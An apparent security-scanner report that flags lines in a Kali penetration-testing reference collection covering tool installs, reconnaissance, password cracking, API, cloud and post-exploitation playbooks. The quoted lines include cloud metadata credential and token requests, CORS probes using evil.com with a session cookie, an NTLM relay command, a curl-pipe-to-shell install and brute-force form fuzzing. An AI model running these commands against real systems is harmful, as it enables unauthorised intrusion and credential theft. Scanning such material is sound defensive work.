    sudo apt install sublist3r
  • Network accessline 63
    - [Sublist3r GitHub](https://github.com/aboul3la/Sublist3r)

kali-pentest/references/information-gathering/tools/theHarvester.md

  • Dangerous shell operationline 17
    sudo apt install theharvester
  • Network accessline 17
    sudo apt install theharvester git clone https://github.com/laramies/theHarvester
  • Network accessline 18
    git clone https://github.com/laramies/theHarvester
  • Network accessline 100
    - [theHarvester GitHub](https://github.com/laramies/theHarvester)

kali-pentest/references/information-gathering/tools/trufflehog.md

  • Dangerous shell operationline 15
    sudo apt install trufflehog
  • Network accessline 15
    sudo apt install trufflehog # Or download the latest binary from GitHub releases curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /usr/local/bin
  • Dangerous shell operationline 17
    curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /usr/local/bin
  • Network accessline 17
    curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /usr/local/bin
  • Network accessline 43
    # Scan a remote git repository (full history) trufflehog git https://github.com/target-org/target-repo.git
  • Network accessline 44
    trufflehog git https://github.com/target-org/target-repo.git
  • Access to secretsline 53
    [Credential-related source omitted]
  • Network accessline 55
    # JSON output for automation trufflehog git https://github.com/target-org/target-repo.git --json > /tmp/secrets.json
  • Network accessline 56
    trufflehog git https://github.com/target-org/target-repo.git --json > /tmp/secrets.json
  • Network accessline 58
    # Show only verified (confirmed active) secrets trufflehog git https://github.com/target-org/target-repo.git --results verified
  • Network accessline 59
    trufflehog git https://github.com/target-org/target-repo.git --results verified
  • Network accessline 61
    # Scan only recent commits trufflehog git https://github.com/target-org/target-repo.git --since-commit abc123
  • Network accessline 62
    trufflehog git https://github.com/target-org/target-repo.git --since-commit abc123
  • Network accessline 64
    # Skip live verification (faster, quieter) trufflehog git https://github.com/target-org/target-repo.git --no-verification
  • Network accessline 65
    trufflehog git https://github.com/target-org/target-repo.git --no-verification
  • Network accessline 80
    - [TruffleHog (GitHub)](https://github.com/trufflesecurity/trufflehog)
  • Network accessline 81
    - [Kali trufflehog](https://www.kali.org/tools/trufflehog/)

kali-pentest/references/information-gathering/tools/wafw00f.md

  • Dangerous shell operationline 15
    sudo apt install wafw00f
  • Network accessline 36
    # Basic detection wafw00f http://target.com
  • Network accessline 37
    wafw00f http://target.com
  • Network accessline 39
    # HTTPS wafw00f https://target.com
  • Network accessline 40
    wafw00f https://target.com
  • Network accessline 42
    # Detect all possible WAFs wafw00f -a https://target.com
  • Network accessline 43
    wafw00f -a https://target.com
  • Network accessline 48
    # JSON output wafw00f https://target.com -o /tmp/waf_result.json -f json
  • Network accessline 49
    wafw00f https://target.com -o /tmp/waf_result.json -f json
  • Network accessline 51
    # Use proxy wafw00f https://target.com -p http://127.0.0.1:8080
  • Network accessline 52
    wafw00f https://target.com -p http://127.0.0.1:8080
  • Network accessline 66
    - [wafw00f GitHub](https://github.com/EnableSecurity/wafw00f)

kali-pentest/references/information-gathering/tools/whatweb.md

  • Dangerous shell operationline 17
    sudo apt install whatweb
  • Network accessline 32
    | Parameter | Description | |-----------|-------------| | `<target>` | URL / IP / CIDR / file Example: `http://example.com` |
  • Network accessline 33
    |-----------|-------------| | `<target>` | URL / IP / CIDR / file Example: `http://example.com` | | `-i <file>` | Read targets from file Example: `-i targets.txt` |
  • Network accessline 34
    | `<target>` | URL / IP / CIDR / file Example: `http://example.com` |
  • Network accessline 73
    # Basic web fingerprinting whatweb http://example.com
  • Network accessline 74
    whatweb http://example.com
  • Network accessline 76
    # HTTPS target whatweb https://example.com
  • Network accessline 77
    whatweb https://example.com
  • Network accessline 79
    # Verbose output whatweb -v http://example.com
  • Network accessline 80
    whatweb -v http://example.com
  • Network accessline 82
    # Quiet mode (results only) whatweb -q http://example.com
  • Network accessline 83
    whatweb -q http://example.com
  • Network accessline 102
    # Aggressive mode (more probing, detects more technologies) whatweb -a 3 http://example.com
  • Network accessline 103
    whatweb -a 3 http://example.com
  • Network accessline 105
    # Maximum aggression (comprehensive detection) whatweb -a 4 http://example.com
  • Network accessline 106
    whatweb -a 4 http://example.com
  • Network accessline 112
    # JSON output (easy to parse) whatweb --log-json results.json http://example.com
  • Network accessline 113
    whatweb --log-json results.json http://example.com
  • Network accessline 115
    # XML output whatweb --log-xml results.xml http://example.com
  • Network accessline 116
    whatweb --log-xml results.xml http://example.com
  • Network accessline 118
    # Verbose log whatweb --log-verbose results.txt http://example.com
  • Network accessline 119
    whatweb --log-verbose results.txt http://example.com
  • Network accessline 125
    # HTTP basic authentication whatweb --user admin:password http://example.com/admin
  • Network accessline 126
    whatweb --user admin:password http://example.com/admin
  • Network accessline 128
    # Use cookie whatweb --cookie "session=abc123" http://example.com
  • Network accessline 129
    whatweb --cookie "session=abc123" http://example.com
  • Network accessline 131
    # Through Burp proxy whatweb --proxy 127.0.0.1:8080 http://example.com
  • Network accessline 132
    whatweb --proxy 127.0.0.1:8080 http://example.com
  • Network accessline 134
    # Custom User-Agent whatweb -U "Mozilla/5.0 (Custom)" http://example.com
  • Network accessline 135
    whatweb -U "Mozilla/5.0 (Custom)" http://example.com
  • Network accessline 137
    whatweb --user-agent "Mozilla/5.0 (Custom)" http://example.com
  • Network accessline 166
    - [WhatWeb GitHub](https://github.com/urbanadventurer/WhatWeb)

kali-pentest/references/information-gathering/tools/whois.md

  • Dangerous shell operationline 15
    sudo apt install whois
  • Network accessline 76
    - [whois GitHub](https://github.com/rfc1036/whois)
  • Network accessline 77
    - [RFC 3912 - WHOIS Protocol](https://www.rfc-editor.org/rfc/rfc3912)

kali-pentest/references/password/README.md

  • Network accessline 210
    - [Kali Tools](https://www.kali.org/tools/all-tools/)

kali-pentest/references/password/tools/brutespray.md

  • Dangerous shell operationline 15
    sudo apt install brutespray
  • Network accessline 77
    - [brutespray (GitHub)](https://github.com/x90skysn3k/brutespray)
  • Network accessline 78
    - [Kali brutespray](https://www.kali.org/tools/brutespray/)

kali-pentest/references/password/tools/cewl.md

  • Dangerous shell operationline 15
    sudo apt install cewl
  • Network accessline 37
    # Basic crawl, minimum 6-character words cewl http://target.com -m 6 -w /tmp/target_wordlist.txt
  • Network accessline 38
    cewl http://target.com -m 6 -w /tmp/target_wordlist.txt
  • Network accessline 40
    # Crawl depth 3, extract emails cewl http://target.com -d 3 -m 5 --email -w /tmp/wordlist.txt
  • Network accessline 41
    cewl http://target.com -d 3 -m 5 --email -w /tmp/wordlist.txt
  • Network accessline 43
    # Crawl HTTPS cewl https://target.com -m 6 -w /tmp/wordlist.txt
  • Network accessline 44
    cewl https://target.com -m 6 -w /tmp/wordlist.txt
  • Network accessline 46
    # Add numeric variants (combine with john rules) cewl http://target.com -m 6 -w /tmp/base.txt
  • Network accessline 47
    cewl http://target.com -m 6 -w /tmp/base.txt
  • Network accessline 52
    # Crawl pages requiring authentication cewl http://target.com --auth_user admin --auth_pass password -m 6 -w /tmp/wordlist.txt
  • Network accessline 53
    cewl http://target.com --auth_user admin --auth_pass password -m 6 -w /tmp/wordlist.txt
  • Network accessline 68
    - [CeWL (GitHub)](https://github.com/digininja/CeWL)

kali-pentest/references/password/tools/changeme.md

  • Dangerous shell operationline 15
    sudo apt install changeme
  • Network accessline 60
    # Scan with proxy (useful with Burp Suite) changeme --protocols http --proxy http://127.0.0.1:8080 192.168.1.0/24
  • Network accessline 61
    changeme --protocols http --proxy http://127.0.0.1:8080 192.168.1.0/24
  • Network accessline 88
    - [changeme (GitHub)](https://github.com/ztgrace/changeme)
  • Network accessline 89
    - [Kali changeme](https://www.kali.org/tools/changeme/)

kali-pentest/references/password/tools/chntpw.md

  • Dangerous shell operationline 15
    sudo apt install chntpw
  • Network accessline 67
    - [chntpw man page](https://manpages.debian.org/chntpw)
  • Network accessline 68
    - [Kali chntpw](https://www.kali.org/tools/chntpw/)

kali-pentest/references/password/tools/crowbar.md

  • Dangerous shell operationline 15
    sudo apt install crowbar
  • Network accessline 72
    - [crowbar (GitHub)](https://github.com/galkan/crowbar)
  • Network accessline 73
    - [Kali crowbar](https://www.kali.org/tools/crowbar/)

kali-pentest/references/password/tools/crunch.md

  • Dangerous shell operationline 15
    sudo apt install crunch
  • Network accessline 82
    - [crunch Debian man page](https://manpages.debian.org/unstable/crunch/crunch.1.en.html)

kali-pentest/references/password/tools/fcrackzip.md

  • Dangerous shell operationline 15
    sudo apt install fcrackzip
  • Network accessline 63
    - [fcrackzip man page](https://manpages.debian.org/fcrackzip)
  • Network accessline 64
    - [Kali fcrackzip](https://www.kali.org/tools/fcrackzip/)

kali-pentest/references/password/tools/gpp-decrypt.md

  • Dangerous shell operationline 15
    sudo apt install gpp-decrypt
  • Network accessline 59
    - [Kali gpp-decrypt](https://www.kali.org/tools/gpp-decrypt/)
  • Network accessline 60
    - [MS14-025 Advisory](https://learn.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-025)

kali-pentest/references/password/tools/hashcat.md

  • Dangerous shell operationline 15
    sudo apt install hashcat
  • Dangerous shell operationline 62
    sudo gunzip /usr/share/wordlists/rockyou.txt.gz  # Only if .gz exists and .txt is missing
  • Network accessline 126
    - [Hashcat Wiki](https://hashcat.net/wiki/)
  • Network accessline 127
    - [Hashcat (GitHub)](https://github.com/hashcat/hashcat)
  • Network accessline 128
    - [Hashcat Official Site](https://hashcat.net/hashcat/)

kali-pentest/references/password/tools/hashid.md

  • Dangerous shell operationline 15
    sudo apt install hashid
  • Network accessline 64
    - [hashid (GitHub)](https://github.com/psypanda/hashID)
  • Network accessline 65
    - [Kali hashid](https://www.kali.org/tools/hashid/)

kali-pentest/references/password/tools/hydra.md

  • Dangerous shell operationline 15
    sudo apt install hydra
  • Network accessline 66
    # Format: "/path:POST_body:failure_string" # ⚠<U+FE0F> The failure string must match text in the FAILED login response body # Use Burp Suite or curl to confirm the exact failure message before running
  • Network accessline 68
    # Use Burp Suite or curl to confirm the exact failure message before running
  • Network accessline 107
    - [THC-Hydra (GitHub)](https://github.com/vanhauser-thc/thc-hydra)

kali-pentest/references/password/tools/john.md

  • Dangerous shell operationline 15
    sudo apt install john
  • Network accessline 91
    - [John the Ripper (GitHub)](https://github.com/openwall/john)
  • Network accessline 92
    - [John the Ripper Official Site](https://www.openwall.com/john/)

kali-pentest/references/password/tools/kerbrute.md

  • Network accessline 15
    # Download the Linux amd64 release binary from the official GitHub releases page curl -L https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64 -o kerbrute
  • Network accessline 16
    curl -L https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64 -o kerbrute
  • Dangerous shell operationline 19
    sudo mv kerbrute /usr/local/bin/kerbrute
  • Network accessline 71
    - [kerbrute (GitHub)](https://github.com/ropnop/kerbrute)

kali-pentest/references/password/tools/medusa.md

  • Dangerous shell operationline 15
    sudo apt install medusa
  • Network accessline 90
    - [Medusa (GitHub)](https://github.com/jmk-foofus/medusa)
  • Network accessline 91
    - [Kali medusa Package Tracker](https://pkg.kali.org/pkg/medusa)

kali-pentest/references/password/tools/name-that-hash.md

  • Dangerous shell operationline 15
    sudo apt install name-that-hash
  • Network accessline 89
    - [Name-That-Hash (GitHub)](https://github.com/bee-san/Name-That-Hash)
  • Network accessline 90
    - [Kali name-that-hash](https://www.kali.org/tools/name-that-hash/)

kali-pentest/references/password/tools/ncrack.md

  • Dangerous shell operationline 15
    sudo apt install ncrack
  • Network accessline 83
    - [Ncrack — Nmap Project](https://nmap.org/ncrack/)
  • Network accessline 84
    - [ncrack (GitHub)](https://github.com/nmap/ncrack)
  • Network accessline 85
    - [Kali ncrack](https://www.kali.org/tools/ncrack/)

kali-pentest/references/password/tools/netexec.md

  • Dangerous shell operationline 15
    sudo apt install netexec
  • Network accessline 89
    - [NetExec (GitHub)](https://github.com/Pennyw0rth/NetExec)
  • Network accessline 90
    - [Kali netexec](https://www.kali.org/tools/netexec/)

kali-pentest/references/password/tools/patator.md

  • Dangerous shell operationline 15
    sudo apt install patator
  • Network accessline 45
    # HTTP form fuzzing patator http_fuzz url=http://target.com/login method=POST body='user=FILE0&pass=FILE1' 0=users.txt 1=passwords.txt -x ignore:fgrep='Invalid'
  • Network accessline 46
    patator http_fuzz url=http://target.com/login method=POST body='user=FILE0&pass=FILE1' 0=users.txt 1=passwords.txt -x ignore:fgrep='Invalid'
  • Network accessline 64
    - [patator GitHub](https://github.com/lanjelot/patator)
  • Network accessline 65
    - [Kali patator](https://www.kali.org/tools/patator/)

kali-pentest/references/password/tools/pdfcrack.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install pdfcrack
  • Network accessline 76
    - [pdfcrack on SourceForge](https://pdfcrack.sourceforge.net/)
  • Network accessline 77
    - [Kali pdfcrack](https://www.kali.org/tools/pdfcrack/)

kali-pentest/references/password/tools/rainbowcrack.md

  • Dangerous shell operationline 15
    sudo apt install rainbowcrack
  • Network accessline 53
    # Download pre-generated tables (recommended — generation takes days) # NTLM/LM tables: https://ophcrack.sourceforge.io/tables.php
  • Network accessline 54
    # NTLM/LM tables: https://ophcrack.sourceforge.io/tables.php
  • Network accessline 55
    # Free tables:    https://www.freerainbowtables.com/
  • Network accessline 79
    - [Kali rainbowcrack](https://www.kali.org/tools/rainbowcrack/)
  • Network accessline 80
    - [Kali rainbowcrack package tracker](https://pkg.kali.org/pkg/rainbowcrack)

kali-pentest/references/password/tools/responder.md

  • Dangerous shell operationline 15
    sudo apt install responder
  • Dangerous shell operationline 43
    sudo responder -I eth0
  • Dangerous shell operationline 46
    sudo responder -I eth0 -wd
  • Dangerous shell operationline 49
    sudo responder -I eth0 -A
  • Network accessline 73
    - [Responder (GitHub)](https://github.com/lgandx/Responder)

kali-pentest/references/playbooks/api-security.md

  • Network accessline 24
    mitmdump -w /tmp/api.flows    mitmproxy2swagger -i /tmp/api.flows -o /tmp/openapi.yaml -p https://api.example.com
  • Network accessline 25
    mitmproxy2swagger -i /tmp/api.flows -o /tmp/openapi.yaml -p https://api.example.com
  • Network accessline 41
    # schemathesis — schema-driven testing    st run https://target/openapi.json --checks all --url https://target
  • Network accessline 42
    st run https://target/openapi.json --checks all --url https://target
  • Network accessline 64
    ```bash           curl -sk https://<frontend-host>/main.js -o /tmp/main.js
  • Network accessline 65
    curl -sk https://<frontend-host>/main.js -o /tmp/main.js
  • Access to secretsline 85
    [Credential-related source omitted]
  • Network accessline 98
    ```bash           mitmdump -s /tmp/sign_addon.py --listen-port 8080 --set ssl_insecure=true --set http2=false &           # Verify: curl -sk -x http://127.0.0.1:8080 https://target/endpoint
  • Network accessline 99
    mitmdump -s /tmp/sign_addon.py --listen-port 8080 --set ssl_insecure=true --set http2=false &           # Verify: curl -sk -x http://127.0.0.1:8080 https://target/endpoint           ```
  • Network accessline 100
    # Verify: curl -sk -x http://127.0.0.1:8080 https://target/endpoint
  • Network accessline 116
    - If bypass confirmed: inject static bypass headers directly (e.g., `-H "X-Signature: <bypass_value>"`).      - If proxy built: route all tools through the proxy (`--proxy=http://127.0.0.1:8080`).
  • Network accessline 117
    - If proxy built: route all tools through the proxy (`--proxy=http://127.0.0.1:8080`).
  • Network accessline 163
    - Test API parameters for SQL injection, NoSQL injection, command injection, LDAP injection, and XML external entity (XXE) attacks.    - Use `sqlmap` (see `../web/tools/sqlmap.md`) with API-specific options: save a representative request to
  • Network accessline 164
    - Use `sqlmap` (see `../web/tools/sqlmap.md`) with API-specific options: save a representative request to a file and run `sqlmap -r request.txt --batch`; for JSON bodies use `--data` with the correct `--headers="Content-Type: application/js
  • Network accessline 165
    - Test for SSRF through URL and file parameters — supply internal addresses (`http://169.254.169.254/`, `http://127.0.0.1:<port>`) and observe responses.
  • Network accessline 172
    sqlmap -r /tmp/api_request.txt --batch --level=3 --risk=2    # JSON body injection    sqlmap -u "https://api.example.com/v1/search" --data='{"query":"test"}' --headers="Content-Type: application/json" --batch
  • Network accessline 174
    sqlmap -u "https://api.example.com/v1/search" --data='{"query":"test"}' --headers="Content-Type: application/json" --batch
  • Network accessline 206
    # Test CORS with arbitrary origin    curl -s -H "Origin: https://evil.com" -I https://api.example.com/v1/endpoint | grep -i "access-control"
  • Network accessline 207
    curl -s -H "Origin: https://evil.com" -I https://api.example.com/v1/endpoint | grep -i "access-control"
  • Network accessline 208
    # Test null origin    curl -s -H "Origin: null" -I https://api.example.com/v1/endpoint | grep -i "access-control"    # Test with credentials flag
  • Network accessline 209
    curl -s -H "Origin: null" -I https://api.example.com/v1/endpoint | grep -i "access-control"
  • Network accessline 211
    curl -s -H "Origin: https://evil.com" -H "Cookie: session=TOKEN" -I https://api.example.com/v1/endpoint | grep -i "access-control"

kali-pentest/references/playbooks/cloud-native-assessment.md

  • Access to secretsline 98
    [Credential-related source omitted]
  • Network accessline 198
    # docker-bench-security — audit Docker host configuration    cd /tmp && git clone https://github.com/docker/docker-bench-security.git && cd docker-bench-security
  • Network accessline 199
    cd /tmp && git clone https://github.com/docker/docker-bench-security.git && cd docker-bench-security
  • Dangerous shell operationline 200
    sudo ./docker-bench-security.sh -l /tmp/docker-bench.log
  • Network accessline 250
    # AWS — test IMDS access (IMDSv1)    curl -s http://169.254.169.254/latest/meta-data/
  • Network accessline 251
    curl -s http://169.254.169.254/latest/meta-data/
  • Network accessline 252
    curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
  • Network accessline 253
    curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
  • Network accessline 255
    [Credential-related source omitted]
  • Network accessline 256
    [Credential-related source omitted]
  • Network accessline 257
    [Credential-related source omitted]
  • Network accessline 262
    # Azure — test IMDS    curl -s -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
  • Network accessline 263
    curl -s -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
  • Network accessline 264
    curl -s -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
  • Network accessline 266
    # GCP — test metadata    curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
  • Network accessline 267
    curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
  • Network accessline 268
    curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/project/project-id

kali-pentest/references/playbooks/internal-network-protocols.md

  • Network accessline 97
    nmap -p 21 --script ftp-anon,ftp-bounce,ftp-syst,ftp-vsftpd-backdoor <ip> # Manual anonymous access verification (nmap scripts can give false negatives due to PASV issues) curl -s ftp://anonymous:anonymous@<ip>/
  • Network accessline 98
    # Manual anonymous access verification (nmap scripts can give false negatives due to PASV issues) curl -s ftp://anonymous:anonymous@<ip>/ # Recursive directory listing (discover subdirectories with backup files)
  • Network accessline 99
    curl -s ftp://anonymous:anonymous@<ip>/
  • Network accessline 100
    # Recursive directory listing (discover subdirectories with backup files) wget --spider -r --no-remove-listing ftp://anonymous:anonymous@<ip>/ 2>&1 | grep -E 'directory|listing' # Search for sensitive files in accessible directories
  • Network accessline 101
    wget --spider -r --no-remove-listing ftp://anonymous:anonymous@<ip>/ 2>&1 | grep -E 'directory|listing'
  • Network accessline 102
    # Search for sensitive files in accessible directories curl -s ftp://anonymous:anonymous@<ip>/ | grep -iE '\.(tar|zip|gz|bak|sql|conf|env|key|pem|kdbx)' # Writable directory test
  • Network accessline 103
    curl -s ftp://anonymous:anonymous@<ip>/ | grep -iE '\.(tar|zip|gz|bak|sql|conf|env|key|pem|kdbx)'
  • Network accessline 105
    curl -s -T /tmp/test_upload.txt ftp://anonymous:anonymous@<ip>/pub/ && echo "WRITABLE"

kali-pentest/references/playbooks/internal-network.md

  • Network accessline 77
    openssl s_client -alpn http/1.1 -connect <ip>:<port> </dev/null 2>/dev/null | grep -E 'ALPN|Protocol'    # Step 3: Banner capture    nc -w3 <ip> <port> 2>/dev/null | head -c 512 | xxd | head
  • Network accessline 78
    # Step 3: Banner capture    nc -w3 <ip> <port> 2>/dev/null | head -c 512 | xxd | head    curl -sk https://<ip>:<port>/ -o /dev/null -w '%{http_code}\n'
  • Network accessline 79
    nc -w3 <ip> <port> 2>/dev/null | head -c 512 | xxd | head
  • Network accessline 80
    curl -sk https://<ip>:<port>/ -o /dev/null -w '%{http_code}\n'

kali-pentest/references/playbooks/mobile-application.md

  • Access to secretsline 30
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 66
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Access to secretsline 78
    [Credential-related source omitted]

kali-pentest/references/playbooks/post-exploitation.md

  • Dangerous shell operationline 66
    **Zero-findings fallback:** If linpeas/winpeas find no escalation paths, manually check SUID/SGID binaries, sudo misconfigurations, writable cron jobs, kernel version against known exploits, and service account permissions. On Windows, chec
  • Access to secretsline 98
    [Credential-related source omitted]

kali-pentest/references/playbooks/reporting-workflow.md

  • Network accessline 40
    - Use CVSS v4.0 base score calculation as the default: Attack Vector, Attack Complexity, Privileges Required, User Interaction, Scope, and CIA impact. Use CVSS v3.1 when the client specifically requests it or when comparing against vulnerab
  • Network accessline 41
    - Apply Environmental and Temporal adjustments when the target environment context is known (e.g., compensating controls, exploit maturity).    - Reference the [CVSS Calculator](https://www.first.org/cvss/calculator/4.0) for consistent scor
  • Network accessline 42
    - Reference the [CVSS Calculator](https://www.first.org/cvss/calculator/4.0) for consistent scoring.

kali-pentest/references/playbooks/source-code-audit.md

  • Access to secretsline 36
    [Credential-related source omitted]
  • Dangerous shell operationline 58
    - Command injection: `eval()`, `exec()`, `system()`, `Runtime.exec()`, `os.popen()`, `subprocess.call()` with `shell=True`
  • Access to secretsline 106
    [Credential-related source omitted]

kali-pentest/references/playbooks/web-application.md

  • Network accessline 18
    - **TLS cipher audit**: run `sslscan` (see `../vulnerability/tools/sslscan.md`) or `testssl.sh` (see `../vulnerability/tools/testssl.sh.md`) to enumerate all accepted cipher suites and check for known TLS attacks (ROBOT, DROWN, CCS injectio
  • Network accessline 19
    - **Wildcard certificate → subdomain enumeration**: if the TLS certificate contains a wildcard SAN (e.g., `*.example.com`), enumerate subdomains with DNS queries and probe each for distinct services or response codes.    - **CORS origin rec
  • Network accessline 20
    - **CORS origin reconnaissance**: if the `Access-Control-Allow-Origin` header names a specific origin (e.g., `https://app.example.com`), probe that origin for headers, CSP directives, cookies, and technology details — its response metadata 
  • Network accessline 38
    ```bash      # Download JS files      curl -sk https://<target>/main.js -o /tmp/main.js
  • Network accessline 39
    # Download JS files      curl -sk https://<target>/main.js -o /tmp/main.js      # Search for URLs, API paths, subdomains, and secrets
  • Network accessline 40
    curl -sk https://<target>/main.js -o /tmp/main.js
  • Network accessline 96
    ```bash      commix --url "http://target/page?param=INJECT_HERE" --level=3 --batch
  • Network accessline 97
    commix --url "http://target/page?param=INJECT_HERE" --level=3 --batch
  • Network accessline 101
    - **Deserialization**: identify serialized objects in parameters or cookies; test with known gadget chains (Java/PHP/.NET). For PHP deserialization, use `phpggc` to generate gadget chains (see `../web/tools/phpggc.md`). For padding oracle a
  • Network accessline 102
    - **HTTP request smuggling**: test CL/TE and TE/CL confusion where front-end and back-end servers differ.    - **SSRF**: test URL and file parameters for internal network access, cloud metadata (`http://169.254.169.254`), and internal servi
  • Network accessline 103
    - **SSRF**: test URL and file parameters for internal network access, cloud metadata (`http://169.254.169.254`), and internal service enumeration.
  • Network accessline 129
    - **JWT flaws**: `alg:none`, weak secret, `kid` injection — use `jwt_tool` to verify (see `../web/tools/jwt_tool.md`).      - **IDOR / BOLA**: replace object IDs across roles and verify response differences.      - **CORS misconfiguration**
  • Network accessline 130
    - **IDOR / BOLA**: replace object IDs across roles and verify response differences.      - **CORS misconfiguration**: send `Origin: https://evil.com` and check reflected header.      - **CSRF**: confirm token binding; test with or without t
  • Network accessline 131
    - **CORS misconfiguration**: send `Origin: https://evil.com` and check reflected header.
  • Network accessline 137
    # Route sqlmap through authenticated proxy session    sqlmap -u "<url>" --proxy http://127.0.0.1:8080 --cookie="session=<token>"
  • Network accessline 138
    sqlmap -u "<url>" --proxy http://127.0.0.1:8080 --cookie="session=<token>"

kali-pentest/references/post-exploitation/README.md

  • Dangerous shell operationline 31
    Automatically enumerates exploitable privilege escalation paths on the system, including SUID/SUDO configurations, scheduled tasks, service configurations, unpatched vulnerabilities, and more. The first tool to run after gaining a shell.
  • Dangerous shell operationline 81
    1. **sudo misconfigurations** -- `sudo -l` to list allowed commands. Check [GTFOBins](https://gtfobins.github.io/) for exploitable binaries.
  • Network accessline 81
    1. **sudo misconfigurations** -- `sudo -l` to list allowed commands. Check [GTFOBins](https://gtfobins.github.io/) for exploitable binaries.
  • Dangerous shell operationline 187
    | linpeas/winpeas report no escalation paths | Manually verify: SUID/sudo (Linux), SeImpersonate/unquoted paths (Windows) — see Privilege Escalation section above |
  • Network accessline 196
    - [Kali Tools](https://www.kali.org/tools/all-tools/)

kali-pentest/references/post-exploitation/tools/bloodhound.md

  • Dangerous shell operationline 25
    sudo apt install bloodhound neo4j
  • Network accessline 27
    # Start Neo4j database sudo neo4j start # Access http://localhost:7474 to change the default password (neo4j/neo4j → custom)
  • Dangerous shell operationline 28
    sudo neo4j start
  • Network accessline 29
    # Access http://localhost:7474 to change the default password (neo4j/neo4j → custom)
  • Network accessline 34
    # --- BloodHound Community Edition (CE) v5+ can be deployed with Docker --- # git clone https://github.com/SpecterOps/BloodHound.git
  • Network accessline 35
    # git clone https://github.com/SpecterOps/BloodHound.git
  • Network accessline 36
    # cd BloodHound && docker compose -f examples/docker-compose/docker-compose.yml up # Access http://localhost:8080 (credentials printed on first run) # Use the current SharpHound release for CE collection when possible
  • Network accessline 37
    # Access http://localhost:8080 (credentials printed on first run)
  • Network accessline 59
    # Download SharpHound from: # BloodHound 4.x: https://github.com/SpecterOps/BloodHound-Legacy/tree/master/Collectors
  • Network accessline 60
    # BloodHound 4.x: https://github.com/SpecterOps/BloodHound-Legacy/tree/master/Collectors
  • Network accessline 61
    # BloodHound CE: https://github.com/SpecterOps/SharpHound (use matching version!)
  • Network accessline 127
    - [BloodHound CE v5+ (GitHub)](https://github.com/SpecterOps/BloodHound)
  • Network accessline 128
    - [BloodHound Documentation](https://bloodhound.specterops.io)
  • Network accessline 129
    - [SharpHound Collector — CE (GitHub)](https://github.com/SpecterOps/SharpHound)
  • Network accessline 130
    - [SharpHound Collector — Legacy 4.x (GitHub)](https://github.com/SpecterOps/BloodHound-Legacy/tree/master/Collectors)
  • Network accessline 131
    - [bloodhound-python (GitHub)](https://github.com/dirkjanm/BloodHound.py)

kali-pentest/references/post-exploitation/tools/bloodhound.py.md

  • Dangerous shell operationline 15
    sudo apt install bloodhound.py
  • Network accessline 90
    - [BloodHound.py (GitHub)](https://github.com/dirkjanm/BloodHound.py)
  • Network accessline 91
    - [Kali bloodhound.py](https://www.kali.org/tools/bloodhound.py/)

kali-pentest/references/post-exploitation/tools/bloodyad.md

  • Dangerous shell operationline 15
    sudo apt install bloodyad
  • Network accessline 84
    - [bloodyAD (GitHub)](https://github.com/CravateRouge/bloodyAD)
  • Network accessline 85
    - [Kali bloodyad](https://www.kali.org/tools/bloodyad/)

kali-pentest/references/post-exploitation/tools/certipy-ad.md

  • Dangerous shell operationline 15
    sudo apt install certipy-ad
  • Network accessline 60
    # NTLM relay attack against AD CS (pair with coercer or mitm6) certipy-ad relay -target http://192.168.1.10 -template 'Machine'
  • Network accessline 61
    certipy-ad relay -target http://192.168.1.10 -template 'Machine'
  • Network accessline 76
    - [Certipy (GitHub)](https://github.com/ly4k/Certipy)
  • Network accessline 77
    - [Kali certipy-ad](https://www.kali.org/tools/certipy-ad/)

kali-pentest/references/post-exploitation/tools/dnscat2.md

  • Dangerous shell operationline 15
    sudo apt install dnscat2
  • Dangerous shell operationline 66
    # Client with exec (bind a shell):
  • Network accessline 92
    - [dnscat2 (GitHub)](https://github.com/iagox86/dnscat2)
  • Network accessline 93
    - [Kali dnscat2](https://www.kali.org/tools/dnscat2/)

kali-pentest/references/post-exploitation/tools/dploot.md

  • Dangerous shell operationline 15
    sudo apt install python3-dploot
  • Access to secretsline 25
    [Credential-related source omitted]
  • Network accessline 109
    - [dploot (GitHub)](https://github.com/zblurx/dploot)
  • Network accessline 110
    - [Kali dploot](https://www.kali.org/tools/dploot/)

kali-pentest/references/post-exploitation/tools/havoc.md

  • Dangerous shell operationline 15
    sudo apt install havoc
  • Network accessline 17
    # Or build from source git clone https://github.com/HavocFramework/Havoc.git
  • Network accessline 18
    git clone https://github.com/HavocFramework/Havoc.git
  • Network accessline 71
    # Python API example: # from havoc import Havoc # h = Havoc("https://teamserver:40056", "operator", "password")
  • Network accessline 72
    # from havoc import Havoc # h = Havoc("https://teamserver:40056", "operator", "password") # h.generate_payload(listener="http-listener", arch="x64", format="exe")
  • Network accessline 73
    # h = Havoc("https://teamserver:40056", "operator", "password")
  • Network accessline 101
    - [Havoc (GitHub)](https://github.com/HavocFramework/Havoc)
  • Network accessline 102
    - [Kali havoc](https://www.kali.org/tools/havoc/)

kali-pentest/references/post-exploitation/tools/hekatomb.md

  • Dangerous shell operationline 15
    sudo apt install hekatomb
  • Network accessline 80
    - [HEKATOMB (GitHub)](https://github.com/ProcessusT/HEKATOMB)
  • Network accessline 81
    - [Kali hekatomb](https://www.kali.org/tools/hekatomb/)

kali-pentest/references/post-exploitation/tools/krbrelayx.md

  • Dangerous shell operationline 16
    sudo apt install krbrelayx
  • Network accessline 21
    # Or clone from GitHub git clone https://github.com/dirkjanm/krbrelayx.git
